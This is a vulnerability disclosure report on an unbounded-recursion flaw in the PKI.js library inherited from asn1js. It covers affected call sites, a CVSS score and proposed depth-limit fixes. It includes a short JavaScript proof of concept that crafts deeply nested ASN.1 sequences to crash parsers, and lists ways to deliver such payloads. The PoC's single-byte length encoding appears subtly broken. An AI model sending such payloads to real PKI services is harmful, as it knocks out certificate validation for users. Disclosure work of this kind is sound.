[SECURITY] Inherited Unbounded Recursion Vulnerability from asn1js Dependency

[tldhs1144]

Summary

PKI.js inherits the unbounded recursion vulnerability from its dependency asn1js ^3.0.6. All 51+ call sites to asn1js.fromBER() across pkijs are vulnerable to stack exhaustion attacks, affecting critical PKI operations.

Severity: High (CVSS v4.0: 8.7)
CWE: CWE-674 (Uncontrolled Recursion, inherited from dependency)
Root Cause: asn1js (see related issue: [link to asn1js issue])

This vulnerability cannot be fixed in pkijs alone - the upstream asn1js package must implement depth limits first.

Attack requirements: Network-accessible PKI parser, ~20KB payload
Impact: Complete service unavailability (process crash)

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Affected PKI Operations

All 51+ call sites to asn1js.fromBER() are vulnerable:

PKI Component	File	Impact
Certificate	src/Certificate.ts	TLS certificate chain parsing
ContentInfo	src/ContentInfo.ts	PKCS#7/CMS SignedData processing
OCSPResponse	src/OCSPResponse.ts	OCSP validation failures
PFX	src/PFX.ts	PKCS#12 file imports crash
CertificationRequest	src/CertificationRequest.ts	CSR processing DoS
CertificateRevocationList	src/CertificateRevocationList.ts	CRL validation crashes
AuthenticatedSafe	src/AuthenticatedSafe.ts	P12 authenticated data
TimeStampResp	src/TimeStampResp.ts	RFC 3161 timestamp validation

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Technical Details

Vulnerable Dependency Chain

pkijs (any version)
  → depends on asn1js ^3.0.6
    → asn1js.fromBER() has unbounded recursion

Core Vulnerability

File: src/PkiObject.ts:38

public static fromBER<T extends PkiObject>(raw: BufferSource): T {
    const asn1 = asn1js.fromBER(raw);  // ← No depth protection
    return new this({ schema: asn1.result });
}

Every call to .fromBER() on any pkijs class triggers the vulnerable asn1js parser.

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Example Vulnerable Code Paths

// Certificate parsing - affects TLS
const cert = Certificate.fromBER(certBuffer);
// → asn1js.fromBER() with no depth limit

// PKCS#7 CMS parsing - affects signed data
const cms = ContentInfo.fromBER(cmsBuffer);
// → asn1js.fromBER() with no depth limit

// OCSP response parsing - affects certificate validation
const ocsp = OCSPResponse.fromBER(ocspBuffer);
// → asn1js.fromBER() with no depth limit

---

Proof of Concept

const pkijs = require('pkijs');

// Craft nested SEQUENCE: 0x30 <len> 0x30 <len> ... × 10,000
function makeNestedSequence(depth) {
    let inner = Buffer.alloc(0);
    for (let i = 0; i < depth; i++) {
        // 0x30 = SEQUENCE tag
        inner = Buffer.concat([Buffer.from([0x30, inner.length]), inner]);
    }
    return inner;
}

const payload = makeNestedSequence(10000);  // ~20 KB
console.log(`Payload size: ${payload.length} bytes`);

try {
    // Any fromBER() call will crash
    pkijs.Certificate.fromBER(payload);
    console.log('No vulnerability (unexpected)');
} catch (e) {
    console.log('Error:', e.message);
    // Expected: "RangeError: Maximum call stack size exceeded"
}

---

Attack Vectors

• TLS servers: Send malicious certificate in TLS handshake
• Email gateways: S/MIME signed messages with nested CMS structures
• Code signing: Malicious Authenticode signatures
• OCSP responders: Poison OCSP responses
• Certificate authorities: CSR submission with nested structures
• File upload: Upload malicious .p12, .pfx, .p7b, .crl files

---

Impact

Who is impacted:

• All pkijs users (any version)
• TLS implementations using pkijs for certificate validation
• S/MIME email processors
• Code signing validators
• OCSP validation services
• Certificate authority systems processing CSRs
• PKCS#12 key import/export functionality
• Applications processing PKCS#7/CMS SignedData

Impact severity:

• Availability: Node.js process termination or browser tab crash
• Attack complexity: Low (straightforward nested structure construction)
• Authentication: Not required
• User interaction: None (automated PKI data processing)
• Payload size: ~20 KB for guaranteed crash
• Scope: Changed (affects both vulnerable app and PKI infrastructure)

Package status:

• Weekly downloads: ~700K
• Actively maintained: Yes
• Dependency: asn1js ^3.0.6 (vulnerable)

---

Recommended Fix

This requires a two-step fix:

Step 1: Fix asn1js (upstream dependency)

See related issue: [link to asn1js issue]

// In asn1js - add maxDepth parameter
export function fromBER(buffer: ArrayBuffer, maxDepth: number = 256): FromBerResult {
    return localFromBER(buffer, 0, buffer.byteLength, maxDepth);
}

Step 2: Update pkijs dependency

{
  "dependencies": {
    "asn1js": "^3.0.8"  // Version with depth limit
  }
}

Step 3 (optional defense-in-depth): Add wrapper in pkijs

public static fromBER<T extends PkiObject>(raw: BufferSource, maxDepth: number = 256): T {
    const asn1 = asn1js.fromBER(raw, maxDepth);  // Pass maxDepth
    if (asn1.offset === -1) {
        throw new Error("Malformed ASN.1 structure");
    }
    return new this({ schema: asn1.result });
}

---

Temporary User Workaround

Until asn1js is fixed, users can implement input validation:

// Validate size before calling pkijs
const MAX_CERT_SIZE = 1024 * 1024;  // 1 MB

function safeParseCertificate(buffer) {
    if (buffer.byteLength > MAX_CERT_SIZE) {
        throw new Error('Certificate too large');
    }
    try {
        return pkijs.Certificate.fromBER(buffer);
    } catch (err) {
        if (err instanceof RangeError && err.message.includes('call stack')) {
            throw new Error('Certificate nesting depth exceeded (possible DoS attack)');
        }
        throw err;
    }
}

---

CVSS v4.0 Assessment

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Score: 8.7 (High)

Breakdown:

• AV:N (Network) - Exploitable via TLS, HTTPS, email, file upload
• AC:L (Low) - Trivial nested SEQUENCE construction
• AT:N (None) - No additional attack requirements
• PR:N (None) - No authentication required
• UI:N (None) - Automated server-side or client-side parsing
• VA:H (High) - Complete service disruption (process crash)
• SA:L (Limited) - Impact on PKI infrastructure beyond vulnerable app

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References

• Root Cause Issue: [link to asn1js issue - submit asn1js first]
• CWE-674: https://cwe.mitre.org/data/definitions/674.html
• Similar CVE: CVE-2025-66031 (node-forge ASN.1 recursion)
• Package: https://www.npmjs.com/package/pkijs
• Dependency: https://www.npmjs.com/package/asn1js

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Disclosure

Discovery Date: 2026-03-19
Researcher: Sion Park
Contact: tldhs1144@gmail.com

I am requesting coordinated disclosure for both packages. Please coordinate with the asn1js maintainers (same team) to fix the root cause first, then update the pkijs dependency.

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Note: This vulnerability cannot be fixed in pkijs alone. The upstream asn1js package must implement depth limits first. I recommend coordinated release of both fixes.